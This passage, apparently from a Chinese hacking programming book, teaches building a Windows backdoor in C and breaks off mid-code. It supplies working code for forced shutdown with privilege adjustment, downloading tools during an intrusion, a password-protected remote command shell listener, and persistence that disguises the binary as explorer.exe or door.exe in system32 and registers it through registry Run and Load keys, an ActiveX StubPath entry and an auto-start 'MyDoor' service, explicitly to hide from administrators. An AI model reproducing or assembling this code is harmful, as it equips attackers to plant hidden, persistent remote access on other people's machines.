strcat(FileRoad, pFile);

hFindFile=FindFirstFile(FileRoad,＆findData);//查找要查找的文件

if(hFindFile!=INVALID_HANDLE_VALUE)

{

do

{

strcpy(FindedFile, pRoad);

strcat(FindedFile,"\\");

strcat(FindedFile, findData.cFileName);

//输出查找到的文件

printf("%s\n",FindedFile);

memset(FindedFile,0x00,256);

}while(FindNextFile(hFindFile,＆findData));

}

}

int SeachFile(char*Directory, char*SeachFile)

{

DirList NewList;

strcpy(NewList.table, Directory);

NewList.pNext=NULL;

//初始化第一个和最后一个结点

last=＆NewList;

first=＆NewList;

while(true)

{

DirList*Find;

if(first!=NULL)//假如链表不为空,提取链表中的第一个结点,并把第一个结点指向原来第二个

{

Find=first;//提取结点

first=first-＞pNext;//并把第一个结点指向原来第二个

FindFile(Find-＞table, SeachFile);//在提取的结点的目录下查找文件

}

else//为空则停止查找

{

printf("文件搜索完毕\n");

return 0;

}

}

return 0;

}

int main(int argc, char*argv[])

{

SeachFile(argv[1],argv[2]);

return 0;

}

最后main函数的第1个参数指向查找路径，而第2个参数则指向要查找的文件名。这样，程序就可以接收用户输入的信息。在【命令提示符】窗口中输入"seach.exe c:*.log"命令，即可看到C盘中所有.log文件，如图4-10所示。如果输入"seach.exe c:*.bat"命令，即可看到C盘中所有的.bat文件，如图4-11所示。

图　4-10　查找C盘中所有.log文件

图　4-11　查找C盘中所有.bat文件

4.3.3　编程实现重启、关机和注销

现在很多后门都包含重启、关机和注销功能，但后门一般是安装在服务器上的，对于个人电脑的控制一般用木马，所以重启和注销这两个功能比较实用。如在Windows 2000中开启远程终端需要重启计算机。在Windows 2000及以上的操作系统要实现这些功能需要借助于ExitWindowsEx函数。但微软出于安全考虑，ExitWindowsEx函数要有一定权限才可以运行，所以在调用ExitWindowsEx函数前需要先获得较高的系统权限。由于重启、关机、注销都需要调用ExitWindowsEx函数，下面来了解该函数的作用和一般格式。该函数的作用是注销当前用户、关闭系统或关闭并重启计算机。

该函数的具体格式如下：

ExitWindowsEx(

UINT uFlags,

DWORD dwReserved);

其中各个参数的具体作用如下。

uFlags：该参数指定关机类型。

EWX_POWEROFF：关闭系统以及电源。

EWX_LOGOFF：关闭所有调用ExitWindowsEx的进程的安全环境里运行的进程，再注销用户。

EWX_REBOOT：关闭系统并重启计算机。

EWX_SHUTDOWN：关闭系统使其完全关闭电源，所有文件缓冲区都被清洗到磁盘，所有运行的进程都被停止。

dwReserved：该参数一般设置为0。

调用该函数非常简单，其调用一般格式如下：

ExitWindowsEx(EWX_LOGOFF,0);//注销

ExitWindowsEx(EWX_REBOOT,0);//重启

ExitWindowsEx(EWX_SHUTDOWN,0);//关机

由于在Windows 2000及以上的系统中调用ExitWindowsEx函数前，需要先获得较高的系统权限，获得系统权限的一般流程如图4-12所示。从中可以看出：只需调用三个API函数就可以提升进程的权限。

图　4-12　获得权限的一般流程

首先调用OpenProcessToken函数打开进程令牌的句柄。该函数的具体格式如下：

BOOL OpenProcessToken(

HANDLE ProcessHandle,

DWORD DesiredAccess,

PHANDLE TokenHandle

);

其中各个参数的具体作用如下：

ProcessHandle：该参数指向要修改访问权限的进程句柄。

DesiredAccess：该参数指定一个访问掩码，该掩码可以指定要进行的操作类型。

TokenHandle：该参数指向句柄的指针，当函数返回时该句柄则标识新打开的访问令牌。当打开进程的访问令牌的句柄后，需要通过调用LookupPrivilegeValue函数修改进程的权限。该函数的具体格式如下：

BOOL LookupPriVilegeValue(

LPCTSTR lpSystemName,

LPCTSTR lpName,

PLUID lpLuid);

其中各个参数的具体含义如下。

lpSystemName：指定系统名称，如果为null，则表示系统为计算机系统。

lpName：指明了要修改权限的名称。

lpLuid：该参数指向返回的LUID的指针。

在修改完进程权限之后，需要把所做的修改告诉系统。此时就需要调用AdjustTokenPrivileges函数。该函数的作用是通知Windows系统对进程所做的修改。

该函数的具体格式如下：

BOOL AdjustTokenPrivileges(

HANDLE TokenHandle,

BOOL DisableAllPrivileges,

PTOKEN_PRIVILEGES NewState,

DWORD BufferLength,

PTOKEN_PRIVILEGES PreviousState,

PDWORD ReturnLength);

AdjustTokenPrivileges函数所包含的参数的具体作用如下。

TokenHandle：该参数指向访问令牌的句柄。

DisableAllPrivileges：该参数决定是对权限进行修改还是关闭所有权限。

NewState：该参数指向要修改的权限，是一个指向TOKEN_PRIVILEGES结构的指针，该结构包含一个数组，数据组的每个项指明了权限的类型和进行的操作。

BufferLength：是结构PreviousState的长度，如果PreviousState为空，该参数应为NULL。

PreviousState：也是一个指向TOKEN_PRIVILEGES结构的指针，存放修改前的访问权限的信息。

ReturnLength：实际PreviousState结构返回的大小。

如果成功调用AdjustTokenPrivileges函数，就拥有关闭计算机的权限，只要调用ExitWindo-wsEx函数就可以实现关机、重启、注销等操作。

下面是在Windows 2000以上系统中实现关机操作的具体代码：

#include"stdafx.h"

#include＜windows.h＞

#include＜string.h＞

void ShutDown()

{

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,＆hToken))//打开当前进程令牌

return;

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,＆tkp.Privileges[0].Luid);//获取本地唯一在特定的系统中的设置权限

tkp.PrivilegeCount=1;

tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE,＆tkp,0,(PTOKEN_PRIVILEGES)NULL,0);//提升访问令牌权限

ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);//关机

}

void Reboot()

{

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,＆hToken))

return;

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,＆tkp.Privileges[0].Luid);

tkp.PrivilegeCount=1;

tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE,＆tkp,0,(PTOKEN_PRIVILEGES)NULL,0);

ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);

}

void LogOff()

{

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,＆hToken))

return;

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,＆tkp.Privileges[0].Luid);

tkp.PrivilegeCount=1;

tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE,＆tkp,0,(PTOKEN_PRIVILEGES)NULL,0);

ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0);

}

int main(int argc, char*argv[])

{

if(!strcmp(argv[1],"shutdown"))

ShutDown();

if(!strcmp(argv[1],"reboot"))

Reboot();

if(!strcmp(argv[1],"logoff"))

LogOff();

return 0;

}

4.3.4　编程实现http下载文件

黑客在入侵过程中会上传一些文件，有时文件上传会成为入侵成功的关键，而http下载功能则很好实现文件上传，而且一般防火墙不会拦截http数据包，所以现在很多后门都有http下载功能。在编程中http下载一般有如下三种实现办法：

通过Winsock类库来实现，但是该种方法需要构造http数据包。

通过winnet函数实现。

通过函数URLDownloadToFile实现，这是最简单的一种方法。

由于前两种方法比较烦琐，这里只介绍最后一种方法。该种方法只需调用URLDownload-ToFile函数就可以了。URLDownloadToFile函数是建立在URLMON.DLL文件中的一个导出函数，其作用是把一个文件从Web服务器下载到本地硬盘。该函数的具体格式如下：

HRESULT URLDownloadToFile(LPUNKNOWN pCaller,

LPCTSTR szURL,

LPCTSTR szFileName,

DWORD dwReserved,

LPBINDSTATUSCALLBACK lpfnCB

);

其中各个参数的具体含义如下。

pCaller：当调用者是一个ActiveX对象时，才使用该参数。一般设置为NULL。

szURL：要下载文件的目标URL。

szFileName：本地保存完成路径。

dwReserved：保留参数，一般为0。

lpfnCB：是指向一个IBindStatusCallback接口的指针，其类似于一种回调机制。在编程时可以参考这些来查看当前下载进度，以及设置是否继续下载等。

注意　在调用URLDownloadToFile函数之前需要先引入头文件#include＜urlmon.h＞。由于在C++中默认没有加载连接文件，所以要包括头文件#pragma comment(lib,"urlmon.lib")。

在通常情况下，只有szURL和szFileName两个参数被经常使用，而其他参数只要设置为0就可以了。下载文件的具体流程如图4-13所示。要实现把文件下载到本地，需要判断要下载的文件是否已经在目标存在位置，如果存在则需将该文件删除，再下载目标文件。

图　4-13　下载文件的一般流程

下面是判断文件是否存在于目标位置的代码：

BOOL FileExists(LPCTSTR lpszFileName)//判断文件是否存在

{

DWORD dwAttributes=GetFileAttributes(lpszFileName);//得到文件属性

if(dwAttributes==0xffffffff)//函数调用成功则文件存在

{

return false;

}

Else//否则文件不存在

{

return true;

}

}

其中"=GetFileAttributes"函数的作用是查看文件或目录属性，如果该函数调用成功则返回文件或目录的属性，表明目标文件已存在。如果执行失败，则返回0xffffffff，表明该文件不存在。

下面是实现文件下载的具体实现代码：

#include＜stdio.h＞

#include＜urlmon.h＞

#pragma comment(lib,"urlmon.lib")

BOOL FileExists(LPCTSTR lpszFileName)//判断文件是否存在

{

DWORD dwAttributes=GetFileAttributes(lpszFileName);//得到文件属性

if(dwAttributes==0xffffffff)//函数调用失败则文件不存在

{

return false;

}

else//否则文件存在

{

return true;

}

}

void download(char*Url, char*FilePath)//http下载文件

{

if(FileExists(FilePath))

{

//删除已有文件

if(!DeleteFile(FilePath))

{

printf("文件已存在,并且无法删除\n");

}

}

URLDownloadToFile(0,Url, FilePath,0,0);//下载文件

if(FileExists(FilePath))//判断文件存不存在,以确定下载成功与否

{

printf("文件下载成功\n");

}

else

{

printf("文件下载失败\n");

}

}

int main(int argc, char*argv[])

{

download(argv[1],argv[2]);

return 0;

}

在【命令提示符】窗口中输入“httpdown.exe http://bbs.sznews.com/upload/20060709/U200607091152453036503.rm C:\我只在乎你.mp3”命令，其中http://bbs.sznews.com/upload/20060709/U200607091152453036503.rm是下载文件的目标URL，而“C:\我只在乎你.mp3”是本地的保存路径，如图4-14所示。按Enter键运行该命令，即可开始下载文件，待下载完毕后会出现“文件下载成功”的提示信息，如图4-15所示。

图　4-14　输入下载文件命令

图　4-15　成功下载文件

4.3.5　编程实现cmdshell和各功能的切换

把前面介绍的后门的几种基本功能组合在一起，再加上密码验证就构成一个完整的后门。可以把每个功能都写成函数，再以接收到特定的字符串来判断要调用哪个函数、执行哪项功能等。在相应的功能执行完毕之后，再继续等待接收新的特定字符串。而且在刚接收到连接时必须对连接进行密码验证。其具体流程如图4-16所示。

图　4-16　后门的工作流程

为了实现通用性还必须解决：一般连接后门都会用到nc或telnet，但nc和telnet在传输数据上是有所不同的。nc是当输完字符，按Enter键后，把先前的字符组或字符串一起发送，再发送回车键，而telnet是输入一个字符发送一个字符。在使用telnet进行后门连接时，当后门收到字符串cmdshell时会开启cmdshell功能，但当用户输入第一个字符C时已经传输了，当输入m时又把m传输给后门，这样后门就接收不到cmdshell字符串了。

为解决这个问题可把收到的字符进行累加，当收到回车符后把累加的字符串与后门中定义的字符串进行比较，以确定执行哪项功能。当执行完毕后，再把用于存储累加字符串的变量清空，以便继续接收新的字符串。这样就解决了Telnet连接的问题。

密码验证过程也是一个接收数据进行比较的过程，其具体框架代码如下：

int main(int argc, char*argv[])

{

……//初始化socket,并且监听端口

sClient[i]=accept(sListen, NULL, NULL);//接收连接

send(sClient[i],"PassWord:\r\n",strlen("PassWord:\r\n"),0);

while(true)

{

//每次接收一个字符

if(ret=recv(sClient[i],buff,1,0)==SOCKET_ERROR)

{

closesocket(sClient[i]);

return 0;

}

//收到回车符则跳出循环

if(buff[0]==0xa)

{

break;

}

//过滤回车符

if(buff[0]!=0xa＆＆buff[0]!=0xd)

strcat(PassWord, buff);

}

//假如密码正确则创建后门线程

if(strcmp(PassWord,"nohack")==0)

{

//创建后门线程

CreateThread(NULL, NULL, DoorThread,(LPVOID)sClient[i],0,＆dwThreadId);

//发送欢迎消息

send(sClient[i],wMessage, strlen(wMessage),0);

}

//密码错误则断开连接

else

{

send(sClient[i],"\r\n密码错误\r\n",strlen("\r\n密码错误\r\n"),0);

closesocket(sClient[i]);

}

}

return 0;

}

在接收连接之后进行密码验证，如果验证成功，则会启动一个线程接收数据，再进行对比以确定执行相应的功能函数。其具体的框架代码如下：

int main(int argc, char*argv[])

{

……//初始化socket,并且监听端口

sClient[i]=accept(sListen, NULL, NULL);//接收连接

……//密码验证

//如果验证成功则创建后门线程

CreateThread(NULL, NULL, DoorThread,(LPVOID)sClient[i],0,＆dwThreadId);

}

//后门线程函数

DWORD WINAPI DoorThread(LPVOID lpParam)

{

while(true)

{

while(true)

{

//每次接收一个字符

if(ret=recv(s, buff,1,0)==SOCKET_ERROR)

{

closesocket(s);

return 0;

}

//假如是回车则跳出循环

if(buff[0]==0xa)

{

break;

}

//假如不是回车就把字符累加给DoorData

if(buff[0]!=0xa＆＆buff[0]!=0xd)

strcat(DoorData, buff);

}

if(strncmp(DoorData,"cmdshell",8)==0)

{

……//执行cmd功能函数

}

……//执行后门其他功能

}

}

4.4　实现自启动功能的编程技术

自启动是后门必须拥有的一项功能，其隐蔽性很大部分决定了后门的存在。如果后门的自启动项很容易就被管理员发现并删除，则对其服务器的控制也就此结束了。可以说后门自启动的方式是评价后门好坏的关键。

4.4.1　注册表自启动的实现

注册表自启动是在注册表中修改或添加相关的自启动键值，而且这些键值的数据一般都修改为要实现自启动程序的文件名。在【运行】对话框中输入"msconfig"命令，如图4-17所示。单击【确定】按钮，即可打开【系统配置实用程序】对话框。在“启动”选项卡中可看到本机中所有的启动程序，如图4-18所示。

图　4-17　【运行】对话框

图　4-18　本机中所有启动程序

在【系统配置实用程序】对话框中显示的启动程序都是通过加载注册表来实现自启动的，所以注册表启动没有太强的隐蔽性，可通过加载一些不常见的注册表键值来实现自启动，以增强后门的隐蔽性。要实现注册表启动只要建立或修改注册表中的键或键值就可以了。

具体要修改的键值如下：

（1）Load键。在HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load分支下修改Load对应的键值。

（2）Userinit键。它位于HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit主键下，用于系统启动时加载程序。一般默认值为"userinit.exe"，由于该子键值中可使用逗号分隔开多个程序，因此，在键值的数值中可加入其他程序。

（3）Explorer\Run键。该键在注册表中有两个位置，分别是HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run，在这两处建立包含具体路径文件名的键值即可。

（4）RunServicesOnce键。这个键同时位于HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce下，在这两处建立包含具体路径文件名的键值即可。

（5）unServices键。在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices分支下建立包含具体路径文件名的键值。

（6）RunOnce\Setup键。这个键同时位于HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup下，在这两处建立包含具体路径文件名的键值即可。

（7）RunOnce键。这个键同时位于HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer sion\RunOnce下，在这两处建立包含具体路径的文件名的键值。位于HKEY_CURRENT_USER根键下的RunOnce子键在用户登录以及其他注册表的Run键值加载程序前加载相关程序，而位于HKEY_LOCAL_MACHINE主键下的RunOnce子键，则是在操作系统处理完其他注册表Run子键及自启动文件夹内的程序后才被加载的。

（8）Run键。这个键同时位于HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下，在这两处建立包含具体路径的文件名的键值。

其中位于HKEY_CURRENT_USER根键下的Run键值和HKEY_LOCAL_MACHINE主键下的Run键值启动，但两个键值都是在“启动”文件夹之前加载。所以只要在编程过程中建立或修改上面的键值为自定义文件名，就可实现自启动，但在修改之前需把后门程序复制到system32或Windows目录下。由于该目录下系统文件比较多，所以管理员不敢轻易删除这些目录，这样就实现保护后门程序的目的。

由于复制文件CopyFile函数的第一个参数是源文件名（该函数在前一章已经介绍过）。要想得到源文件名，就必须借助于GetModuleFileName函数。该函数的具体格式如下：

DWORD GetModuleFileName(HMODULE hModule,

LPTSTR IpFilename,

DWORD nSize

);

其中，各个参数的具体含义如下。

hModule：指向模块的句柄，如果此参数为NULL，则为自身程序的句柄。

lpFilename：存放返回的名字的内存块的指针，是一个输出参数。

nSize：指向lpFilename缓冲区的字符长度。

如果该函数调用成功，则返回复制lpFilename缓冲区的字符串的字符长度，否则返回0。通过CreateStringReg函数修改注册表实现自启动就非常容易了，下面是实现注册表自启动的代码：

#include"stdafx.h"

#include＜windows.h＞

#include＜stdio.h＞

void CreateStringReg(HKEY hRoot, char*szSubKey, char*ValueName, char*Data)

{

HKEY hKey;

long

lRet=RegCreateKeyEx(hRoot, szSubKey,0,NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,＆hKey, NULL);//打开注册表键,不存在则创建它

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegCreateKeyEx%s\n",szSubKey);

return;

}

lRet=RegSetValueEx(hKey, ValueName,0,REG_SZ,(BYTE*)Data, strlen(Data));//修改注册表键值,没有则创建它

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegSetValueEx%s\n",ValueName);

return;

}

RegCloseKey(hKey);

}

int autorun()

{

char SelfFile[MAX_PATH];

char SystemPath[512];

GetSystemDirectory(SystemPath, sizeof(SystemPath));//得到系统目录路径

strcat(SystemPath,"\\explorer.exe");

GetModuleFileName(NULL, SelfFile, MAX_PATH);//得到自身程序路径

if(!CopyFile(SelfFile, SystemPath, true))//复制文件

return 0;

CreateStringReg(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows","load",SystemPath);//写入注册表

return 0;

}

int main(int argc, char*argv[])

{

autorun();

return 0;

}

4.4.2　ActiveX自启动的实现

ActiveX是Microsoft对于一系列策略性面向对象程序技术和工具的称呼，其中主要的技术是组件对象模型（COM）。它是针对Internet应用开发的技术，目前ActiveX已被广泛应用于Web服务器和客户端，同时该技术也被用于创建普通的桌面应用程序。

与注册表自启动一样，ActiveX自启动也是通过修改注册表实现的，只是修改的位置和方式不同而已。在【注册表编辑器】窗口的HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\InstalledComponents分支下单击{E92B03AB-A707-11d2-9CBD-0000F87A369H}子键，即可在右边的窗格中看到StubPath的字符串的键值，如图4-19所示。

图　4-19　【注册表编辑器】窗口

该键值的作用是指向开机自启动的程序名。所以只需将该处创建类似{E92B03AB-A707-11d2-9CBD-0000F87A369H}子键，并且在其中创建名为StubPath键值，并将其值设置为后门的全路径文件名，就可以实现开启自启动了。在修改完毕后第一次开机可自启动，但以后开机不会实现自启动。出现这种情况的原因在于：在第一次自启动后，系统会在HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\InstalledComponents创建和{E92-B03AB-A707-11d2-9CBD-0000F87A369H}同名的键，所以每次后门开机自动运行时都要把该键删除。

所以编程时只需实现在每次后门运行时判断HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\InstalledComponents分支下是否存在{E92B03AB-A707-11d2-9CBD-0000F87A369H}键。如果存在则表明后门不是第一次运行，需将此键删除。如果不存在则表明后门是第一次运行，再在HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components中创建{E92B03AB-A707-11d2-9CBD-0000F87A369H}键及其子键，最后将其复制到系统目录中。

下面是实现ActiveX自启动的代码：

void CreateStringReg(HKEY hRoot, char*szSubKey, char*ValueName, char*Data)//用于修改字符串类型键值

{

HKEY hKey;

long lRet=RegCreateKeyEx(hRoot, szSubKey,0,NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,＆hKey, NULL);//打开注册表键,不存在则创建它

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegCreateKeyEx%s\n",szSubKey);

return;

}

lRet=RegSetValueEx(hKey, ValueName,0,REG_SZ,(BYTE*)Data, strlen(Data));//修改注册表键值,没有则创建它

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegSetValueEx%s\n",ValueName);

return;

}

RegCloseKey(hKey);

}

int main(int argc, char*argv[])

{

HKEY hKey;

DWORD dwDpt=REG_OPENED_EXISTING_KEY;

long lRet=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed

Components\\{E92B03AB-A707-11d2-9CBD-0000F87A369H}",REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,＆hKey);

//打开{E92B03AB-A707-11d2-9CBD-0000F87A369H}子键

if(lRet!=ERROR_SUCCESS)//不存在则复制自身文件到系统目录并加载ActiveX启动

{

char SelfFile[MAX_PATH];

char SystemPath[512];

GetSystemDirectory(SystemPath, sizeof(SystemPath));//得到系统目录路径

strcat(SystemPath,"\\door.exe");

GetModuleFileName(NULL, SelfFile, MAX_PATH);//得到自身程序路径

CopyFile(SelfFile, SystemPath, true);//复制文件

CreateStringReg(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed

Components\\{E92B03AB-A707-11d2-9CBD-0000F87A369H}","StubPath",SystemPath);//加载ActiveX启动,一个自定义修改注册表的函数

return 0;

}

RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components

\\{E92B03AB-A707-11d2-9CBD-0000F87A369H}");//否则删除该键

//……后门代码

return 0;

}

4.4.3　系统服务自启动的实现

Windows中的服务程序都是遵循服务控制管理器（SCM）的接口标准，会在登录系统时自动运行，甚至在没有用户登录的状态下也可以运行，而服务器通常是处于注销状态下，所以系统服务启动成为后门最常见的启动方式之一。

1.系统服务简介

在具体介绍系统服务自启动之前需对系统服务的组成有一个大概了解，系统服务主要由如下4个部分构成：

（1）服务控制管理器（SCM）

服务控制管理器是一个RPC服务器，它显露了一组应用编程接口，程序员可以方便地编写程序来配置服务和控制远程服务器中的服务程序。它包括如下几个方面的信息。

已安装服务的数据库。服务控制管理器在注册表中有一个已安装服务的数据库，它包括服务类型、启动类型、错误类型、执行文件路径、可选用户名和密码等信息。该数据库在注册表中位置是HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services，包含很多子键，每个子键就代表一种服务。

自动启动服务。在系统启动时服务控制管理器会启动所有自启动服务和相关依赖服务。

因要求而启动的服务。用户可在【服务】窗口中启用一项服务，也可使用StartService来启动服务。在服务控制管理器中进行获得账户信息、登录服务项目、允许进程进行等操作。

服务记录列表。每项服务在数据库中都包含了服务名称、开始类型、服务状态、依赖服务指针等信息。

服务控制管理器句柄。服务控制管理器支持句柄类型访问的对象有已安装服务数据库、服务程序、数据库的状态等信息。

（2）服务控制程序（SCP）

通过服务控制程序可以对服务程序进行开启、控制和状态查询等操作。如果服务的开启类型为SERVICE_DEMAND_START，就可以用服务控制程序来开启某项服务。

在开启服务的初始化阶段，服务的当前状态是SERVICE_START_PENDING，而初始化完成后的状态就变为SERVICE_RUNNING。通过服务控制程序还可以对服务进行控制和状态查询。常见的控制状态有停止服务（SERVICE_CONTROL_STOP）、暂停服务（SERVICE_CONTROL_PAUSE）、恢复暂停服务（SERVICE_CONTROL_CONTINUE）以及获得更新信息（SERVICE_CONTROL_INTERROGATE）等。

（3）服务程序

在服务程序中包含一个或多个服务的执行代码。如可以创建类型为SERVICE_WIN32_OWN_PROCESS的服务程序就只包含一个服务；而类型为SERVICE_WIN32_SHARE_PROCESS的服务程序中就包含多个服务的执行代码。

（4）服务配置程序

系统管理员可以使用服务配置程序来更改查询已安装的服务的详细信息，也可通过注册表函数来访问相关资源。

安装、删除和列举服务。可以使用相应的系统函数来创建、删除服务，也可以查询所有服务的当前状态。

配置服务。系统管理员可以使用服务来控制服务的启动类型、显示名称以及相应的描述信息等。

2.创建服务

对于后门来说，只需创建和删除服务即可。创建服务的具体流程如图4-20所示。

（1）从中不难看出，需要先将自身文件复制到系统目录中，这个功能在注册表启动中已经实现，这里不再赘述。将自身文件成功复制到系统目录之后，需要调用OpenSCManager函数得到服务控制管理器数据库句柄。该函数的具体格式如下：

SC_HANDLE OpenSCManager(LPCTSTR lpMachineName,

LPCTSTR lpDatabaseName,

DWORD dwDesiredAccess);

其中各个参数的含义如下。

lpMachineName：要打开服务控制管理数据库的目标主机名，如为空表示默认为本机。

lpDatabaseName：目标主机SCM数据库名字的字符串。

dwDesiredAccess：设置对SCM数据库的访问权限，如果要创建服务，必须拥有目标计算机的管理员权限，该参数一般设为SC_MANAGER_ALL_ACCESS。

（2）如果该函数调用成功，则返回SCM数据库的句柄，否则将返回NULL。在得到SCM数据库句柄后，就可以调用CreateService函数创建服务。该函数的具体格式如下：

SC_HANDLE WINAPI CreateService(SC_HANDLE hSCManager,

LPCTSTR lpServiceName,

LPCTSTR lpDisplayName,

DWORD dwDesiredAccess,

DWORD dwServiceType,

DWORD dwStartType,

DWORD dwErrorControl,

LPCTSTR lpBinaryPathName,

LPCTSTR lpLoadOrderGroup,

LPDWORD lpdwTagId,

LPCTSTR lpDependencies,

LPCTSTR lpServiceStartName,

LPCTSTR lpPassword);

图　4-20　实现系统服务自启动流程

其中各个参数的含义如下。

hSCManager：服务控制管理程序维护的登记数据库的句柄，由系统函数OpenSCM-anager返回。

lpServiceName：以NULL结尾的服务名，用于创建登记数据库中的关键字。

lpDisplayName：以NULL结尾的服务名，用于用户界面标识服务。

dwDesiredAccess：指定服务返回类型。

dwServiceType：指定服务类型。

dwStartType：指定启动服务类型，共有5种启动类型。前三种类型是SERVICE_AUTO_START（自动）、SERVICE_DISABLED（禁用）和SERVICE_DEMAND_START（手动），通常使用“计算机管理”管理工具中的“服务”进行配置。后两种类型是SERVICE_BOOT_START和SERVICE_SYSTEM_START，通常用于配置加载设备驱动程序的方式。

dwErrorControl：指定服务启动失败的严重程度。

lpBinaryPathName：指定服务程序二进制文件的路径。

lpLoadOrderGroup：指定顺序装入的服务组名。

lpdwTagId：指定组标识。

lpDependencies：指定启动该服务前必须先启动的服务或服务组。

lpServiceStartName：以NULL结尾的字符串，指定服务账号。若是NULL，则表示使用本地系统。

lpPassword：以NULL结尾的字符串，指定对应的口令。为NULL表示无口令。

由于该函数的参数比较多，但很多参数均可设置为null，所以该函数调用的方式如下：

schService=CreateService(schSCManager,"MyDoor","MyDoor",SERVICE_ALL_ACCESS,

SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, SystemPath, NULL, NULL, NULL, NULL, NULL);

（3）如果该函数调用成功，则返回创建服务的句柄；如果调用失败，则说明要创建的服务已经存在，此时就必须调用OpenService函数打开刚创建的服务。该函数的具体格式如下：

SC_HANDLE OpenService(SC_HANDLE hSCManager,

LPCTSTR lpServiceName,

DWORD dwDesiredAccess);

其中各个参数的具体含义如下。

hSCManager：服务控制管理数据库句柄，由OpenSCManager函数返回。

lpServiceName：要打开服务的名称。

dwDesiredAccess：设置服务的访问类型。

（4）如果调用该函数成功，则返回打开服务的句柄，否则将返回NULL。在得到服务句柄后，就可以调用StartService函数启动该服务了。该函数的具体格式如下：

BOOL StartService(SC_HANDLE hService,

DWORD dwNumServiceArgs,

LPCTSTR*lpServiceArgVectors);

其中包含的参数的具体作用如下。

hService：要启动服务的句柄，由OpenService或CreateService函数返回。

dwNumServiceArgs：设置启动服务所需参数的个数。

lpServiceArgVectors：启动服务的参数。

（5）在成功启动服务后，需要调用QueryServiceStatus函数来查询服务的状态。该函数的具体格式如下：

BOOL QueryServiceStatus(SC_HANDLE hService,

LPSERVICE_STATUS lpServiceStatus);

该函数包含的参数的作用如下。

hService：要查询服务的句柄。

lpServiceStatus：指向SERVICE_STATUS结构，用于返回服务的状态信息。该结构中的dwCurrentState字段标识当前服务状态，其取值有SERVICE_RUNNING（正在启动）、SERVICE_START_PENDING（将要启动）、SERVICE_STOP_PENDING（将要停止）以及SERVICE_STOPPED（已经停止）等4种。

（6）在得到服务的运行状态后，需要关闭打开的句柄，此时调用CloseServiceHandle函数即可实现该功能。整个创建和启动服务的过程就是调用上述介绍的函数。

创建和启动服务的实现代码如下：

int APIENTRY InstallService()

{

SC_HANDLE schSCManager;

SC_HANDLE schService;

DWORD dwErrorCode;

SERVICE_STATUS InstallServiceStatus;

char SystemPath[256];

char SelfFile[MAX_PATH];

GetSystemDirectory(SystemPath, sizeof(SystemPath));//得到系统目录路径

strcat(SystemPath,"\\door.exe");

GetModuleFileName(NULL, SelfFile, MAX_PATH);//得到自身文件路径

if(!CopyFile(SelfFile, SystemPath, true))//复制自身到系统目录

return 0;

schSCManager=OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库if(schSCManager==NULL)

{

printf("OpenSCManager Error!\n");

return 0;

}

schService=CreateService(schSCManager,"MyDoor","MyDoor",SERVICE_ALL_ACCESS,

SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START,

SERVICE_ERROR_IGNORE, SystemPath, NULL, NULL, NULL, NULL, NULL);//创建服务

if(schService==NULL)//创建失败

{

dwErrorCode=GetLastError();

if(dwErrorCode!=ERROR_SERVICE_EXISTS)

{

printf("CreateService Error!\n");

CloseServiceHandle(schSCManager);

return 0;

}

else//如果服务存在

{

